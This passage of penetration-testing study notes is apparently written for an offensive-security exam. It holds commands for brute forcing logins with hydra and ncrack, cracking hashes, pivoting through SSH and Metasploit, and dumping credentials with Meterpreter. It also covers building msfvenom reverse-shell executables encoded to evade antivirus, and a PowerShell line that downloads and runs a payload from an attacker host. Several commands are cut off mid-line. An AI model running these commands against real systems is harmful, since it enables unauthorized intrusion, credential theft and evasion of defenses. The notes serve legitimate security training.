# Modules available: FTP, SSH, Telnet, HTTP(S), POP3(S), SMB, RDP, VNC, SIP, Redis, PostgreSQL, MySQL
ncrack -vv --user offsec -P password-file.txt rdp://192.168.1.23 # rdp brute force password
ncrack -vv --password offsec -U user-file.txt rdp://192.168.1.23 # rdp brute force username
```

Due to the way RDP works, multiple threads are not practical in this case, which makes the brute force process rather slow.

14.2.1.3 - `hydra`

```
# Modules available: adam6500, asterisk, cisco, cisco-enable, cvs, firebird, ftp, ftps, http[s]-{head|get|
hydra -vV -l root -P password-file.txt 192.168.1.23 ftp # ftp brute force password
hydra -vV -p root -L user-file.txt 11.11.1.219 ftp # ftp brute force username
hydra -vV -l root -P password-file.txt 192.168.1.23 ssh # ssh brute force password
hydra -vV -l root -P fasttrack.txt -M hosts -o bruteforce ssh # ssh brute force password of multiple hosts
hydra -vV -f -P password-file.txt 192.168.1.23 snmp # snmp brute force password, stop when found
hydra -vV -f -C userpass.txt 192.168.1.23 ftp # ftp brute force login, using [user]:[pass] file, stop when
hydra -vV -f -l admin -P [pw dict] -t [threads] -o [output] -s [port] [host] http-get [page (/camera.cgi)]
hydra -vV -f -l admin -P [pw dict] -t [threads] -o [output] -s [port] [host] http-form-post "[post page]:[
hydra -vV -f -l admin -P /usr/share/dirb/wordlists/small.txt -t 50 -o login-brute-force 192.168.1.23 http-
hydra -e nsr # n - check for null password, s - use the same username as the password, r - reverses the us
```

14.2.1.5 - Account Lockouts and Log Alerts

Online password brute-force attacks are noisy. Generates logs, warnings, may even lock out accounts. Could be disastraous as valid users may be unable to access the service until admin re-enables their account.

Choosing the Right Protocol: Speed vs Reward

Speed up brute-force by increasing number of threads, however, doesn't work on certain protocols like RDP and SMB. And on of that, RDP authentication negotiations are more time consuming than say HTTP. However even if it is slower, a successful attack on RDP would often provide a bigger reward. The hidden art behind online brute-force attacks is choosing your targets, user lists, and password files carefully and intelligently before intiating the attack.

Password Hash Attacks

Identifying a Hash

```
$ hash-identifier
...
--------------------------------------------------------------------------
HASH: c43ee559d69bc7f691fe2fbfe8a5ef0a
Possible Hashs:
[+] MD5
[+] Domain Cached Credentials - MD4(MD4(($pass)).(strtolower($username)))
```

John the Ripper

```
john [hash.txt] # brute force
john -wordlist:/usr/share/wordlists/rockyou.txt [hash.txt] # dictionary
john -rules -wordlist:/usr/share/wordlists/rockyou.txt -format:nt [hash.txt] # dictionary + john's mangle
john -show -format:nt [hash.txt] # rmb to include the format when showing

unshadow passwd shadow > unshadow.txt # combine them
john -rules -wordlist:/usr/share/wordlists/rockyou.txt [unshadow.txt] # dictionary + john's mangle rules
```

Port Redirection and Tunneling

Local Port Forwarding

Opens a local port that forwards all traffice headed to that port to the destination

```
# Alice:8080 -> Bob:22 -> Bob:80
# On Alice
ssh root@bob -f -N -L 8080:localhost:80 # perspective of server, localhost is the SSH server itself, Bob
```

```
# Alice:8080 -> Bob:22 -> Charlie:3389
# On Alice
ssh root@bob -f -N -L 8080:charlie:3389 # perspective of server
```

Remote Port Forwarding

Opens a remote port that forwards all traffic headed to that port to the destination

```
# Alice:8080 -> Bob:22 -> Bob:80
# On Bob
ssh root@alice -f -N -R 8080:localhost:80 # perspective of initiator, Bob
```

```
# Alice:8080 -> Bob:22 -> Charlie:3389
# On Bob
ssh root@alice -f -N -R 8080:charlie:3389 # perspective of initiator, Bob
```

Pivoting

Dynamic Port Forwarding and Proxychains

Opens a local port that forwards all traffic headed to that port to the destination machine, essentially allowing you to access new networks that are not directly accessible, and perform tasks such as nmap scanning without the need of installing nmap on the pivot host.

```
# Alice:8080 -> Bob:22 -> Bob & Charlie's Network:0-65535

# On Alice
ssh root@bob -D 8080
echo '[ProxyList]' > proxychains.conf
echo 'socks5 127.0.0.1 8080' >> proxychains.conf
proxychains nmap -T4 -n -Pn -sT -F -p 80 charlie
```

IMPORTANT NOTE on Proxychains and Nmap:

- Use `-sT -Pn` when proxychaining nmap!
  - ICMP (nmap host detection), UDP, nmap OS detection and non-fully established TCP connections (nmap SYN scan) will not work through proxychain, and will result in leakage, meaning your connections will go through as if without having a proxy at all, including revealing your IP address.
  - Why didn't proxychain work with nmap in the OffsecVM, but works on main Kali box? OffsecVM -> running proxychain nmap as ROOT -> defaults to SYN scan -> proxychain fails to establish SOCKS connection. Main Kali -> running proxychain nmap as non-privileged user -> defaults to TCP scan -> proxychain successfully establishes SOCKS connection.
- No SYN scans, ICMP, UDP and OS detection: https://security.stackexchange.com/a/122562
- Nmap and proxychains: https://ntu-offsec.github.io/blog/articles/nmap-proxychains/

- ICMP/pings will not work with SOCKS proxy, as SOCKS is on layer 5 that acts as a proxy for TCP and UDP connections, of which ICMP requests are not. https://superuser.com/a/1030803

Resources:

- Guide: https://netsec.ws/?p=278
- plink, Windows ssh equivalent: `/usr/share/windows-binaries/plink.exe`
- 3proxy, Windows SOCKS Proxy Server: https://forums.offensive-security.com/showthread.php?3196-15-5-1-2&p=42285#post42285 https://github.com/z3APA3A/3proxy
- IE does not proxy DNS requests!: https://forums.offensive-security.com/showthread.php?3196-15-5-1-2&p=42285#post42285

Pivoting with Metasploit

If you (192.168.1.23) compromised a host with two NICs (192.168.1.23, 10.1.1.251) on session 1, simply use `route add` and now you can target that range.

```
msf > route add [subnet] [netmask] [session] # alternatively, `use post/windows/manage/autoroute` (module)
msf > route add 10.1.1.0 255.255.255.0 1
msf > route print
msf > use auxiliary/scanner/http/http_version
msf auxiliary(http_version) > set RHOSTS 10.1.1.0/24
```

Once routes are established, Metasploit modules can access the IP range specified in the routes. Scans and exploits can be directed at machines that would otherwise be unreachable from the outside, via the sessions established. For other applications to access the routes, a little bit more setup is necessary. This involves setting up the Socks4a Metasploit module and using Proxychains in conjunction with the other applications.

```
msf > use auxiliary/server/socks4a
msf auxiliary(socks4a) > set SRVHOST 127.0.0.1
msf auxiliary(socks4a) > set LPORT 1080
msf auxiliary(socks4a) > exploit -j
echo '[ProxyList]' > proxychains.conf
echo 'socks4 127.0.0.1 1080' >> proxychains.conf
proxychains nmap -T4 -n ...
```

Want to add the route as a default route? Meaning without proxychains, traffic headed towards the remote network will be routed automatically.

```
msf > use post/multi/manage/autoroute
msf post(autoroute) > set SESSION session-id
msf post(autoroute) > set CMD default
msf post(autoroute) > exploit
# or
meterpreter > run post/multi/manage/autoroute CMD=default
```

Resources:

- Autoroute, with socks4a, proxychains and default route: https://github.com/rapid7/metasploit-framework/blob/master/documentation/modules/post/multi/manage/autoroute.md
- Pivoting multiple networks: https://pentest.blog/explore-hidden-networks-with-double-pivoting/
- LPF, RPF, and DPF (Metasploit) scenario examples: https://www.cybrary.it/0p3n/pivot-network-port-forwardingredirection-hands-look/
- Paper with examples: https://www.sans.org/reading-room/whitepapers/testing/tunneling-pivoting-web-application-penetration-testing-36117
- Metasploit Unleashed Pivoting (Autoroute): https://www.offensive-security.com/metasploit-unleashed/pivoting/

- Metasploit Unleashed ProxyTunnels (Autoroute + Socks4a): https://www.offensive-security.com/metasploit-unleashed/proxytunnels/

HTTP Encapsulation

```
# Client:7070 -> Server:8080 -> Server:22

# On Server
hts -F localhost:22 8080
# On Client
htc -F 7070 192.168.161.159:8080
ssh root@localhost:7070
```

Wireshark inspection reveals normal SSH session packets are identified as "Encrypted packets" and have "SSL Protocol" fields in them. After using HTTPTunnel, the packets no longer show those, and look like ordinary TCP packets.

- HTTPTunnel - https://tools.kali.org/maintaining-access/httptunnel

Metasploit

Starting

```
# PostgreSQL
service postgresql start
# PostgreSQL manual start
sudo -H -u postgres bash -c "/usr/lib/postgresql/9.6/bin/postgres -D /var/lib/postgresql/9.6/main -c confi
```

```
# Starting msfconsole
msfconsole
```

Note, after installing either neovim or samba-4.5.15, postgresql service scripts stops working.

Usage

```
# Searching for Modules
search [module]
serach type:auxiliary [module]
grep [keyword] search [module]

# Module Usage
use [module]
info
show options
set rhost [ip]
set rhosts [ips/range]      # for modules that support multiple hosts
setg rhosts [ips/range]     # global/persistent set
set threads 10              # for modules that support threads
set payload windows/meterpreter/reverse_tcp # optional, meterpreter is default
show targets
set target 1                # optional, 0 is default
set InitialAutoRunScript migrate -f # migrate immediately after getting shell. good for client-side attack
set EnableStageEncoding true # "Command shell session 1 closed.  Reason: Died from Errno::ECONNRESET"? dis
set StageEncoder "generic/none" # disable encoding.
exploit

# Multi Handler
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp # required especially for staged payloads (meterpreter and she
set lhost 0.0.0.0
set lport 443
set ExitOnSession false
exploit -j

# Job Handling (when using exploit -j)
jobs            # list
jobs -k 1       # kil

# Session Handling
sessions        # list
sessions -i 1   # interact
sessions -u 1   # upgrade shell to meterpreter
sessions -k 1   # kill

# Workspaces
workspace
workspace -a lab
workspace lab
workspace -d test
db_export -f xml /tmp/ms.xml
db_import /tmp/ms.xml

# Database
hosts
db_nmap -T4 ...
services -p 443
services -p 443 -R  # populate RHOSTS with result
hosts -c address,os_flavor -S Linux # 2 columns, search Linux
services -c name,info -S http -R  # 2 columns, search http, and populate RHOSTS with results
creds
creds -a 192.168.1.23 -p 22 -u root -P toor
loot
```

Explored Modules

```
# Auxiliary
auxiliary/scanner/snmp/snmp_enum
auxiliary/scanner/smb/smb_version
auxiliary/scanner/http/webdav_scanner # apparently WebDAV servers are often poorly cofigured and can often
auxiliary/scanner/ftp/ftp_login

# Exploits
exploit/windows/smb/ms08_067_netapi
exploit/windows/smb/ms17_010_eternalblue
```

Common Payloads

Staged Payload

2 parts, great when there is little buffer space for shellcode. Requires multi handler to send stage 2. Meterpreter is always staged.

```
[platform]/[arch?]/[shell/meterpreter]/[reverse/bind]_[protocol]
windows/meterpreter/reverse_https
linux/x86/shell/reverse_tcp
```

Non-Staged/Singles Payloads

Entire shellcode in payload

```
[platform]/[arch?]/[shell]_[reverse/bind]_[protocol]
windows/shell_reverse_tcp
```

```
linux/x86/shell_reverse_tcp
```

Meterpreter

```
sysinfo
getuid
search -f *pass*.txt
download c:\\users\\bob\\passwords.txt /tmp
upload /tmp/nc.exe c:\\
hashdump
getsystem
migrate [pid] # migrate to another process, as exploited process may hung (eg. during client-side attacks)
shell # advantage is if shell dies, you can go back up to meterpreter to spawn a new one
```

```
use exploit/windows/local/service_permissions
set session 1
exploit
```

Executable Payloads

```
msfvenom -p windows/shell_reverse_tcp LHOST=192.168.1.23 LPORT=443 -f exe -e x86/shikata_ga_nai -i 9 -o sh
msfvenom -p windows/shell_reverse_tcp LHOST=192.168.1.23 LPORT=443 -f exe -e x86/shikata_ga_nai -i 9 -o sh
msfvenom -p linux/x86/exec CMD=/bin/sh -f elf -o gimmeshell
```

Custom MSF Module

Create in local directory, eg. `~/.msf4/modules/exploits/linux/misc`. Copy an existing template over like `/usr/share/metasploitframework/modules/exploits/linux/misc/gld_postfix.rb`. Change template, main part is `exploit` function.

Unicorn Powershell

Unicorn is a simple tool for using a PowerShell downgrade attack and inject shellcode straight into memory, potentially evading firewalls.

```
# On Kali:
./unicorn.py [metasploit payload] [reverse_ip] [port] # generates powershell_attack.txt (actual output) an
# delete the "powershell" wrapper and quotes around the text in powershell_attack.txt
python -m SimpleHTTPServer

# On Windows:
powershell "IEX(New-Object Net.WebClient).downloadString('http://[kali ip]:8000/powershell_attack.txt')" #

# On Kali:
# set up listener
```

Bypassing Antivirus Software

```
msfvenom -p windows/shell_reverse_tcp LHOST=192.168.1.23 LPORT=4444 -f exe -o shell.exe # 30/46
msfvenom -p windows/shell_reverse_tcp LHOST=192.168.1.23 LPORT=4444 -f exe -e x86/shikata_ga_nai -i 9 -o sl
msfvenom -p windows/shell_reverse_tcp LHOST=192.168.1.23 LPORT=4444 -f exe -e x86/shikata_ga_nai -i 9 -x /
wine /usr/share/windows-binaries/hyperion/hyperion.exe shell.exe crypted.exe # 14/46
# custom python reverse shell compiled to exe # 2/46
# custom C reverse shellcode compiled to exe # 1/46
```

Forensics

```
strings [file]
grep -a '[pattern]' [file]
xdd [file]
binwalk -Me [file]
testdisk [file]
photorec [file]
```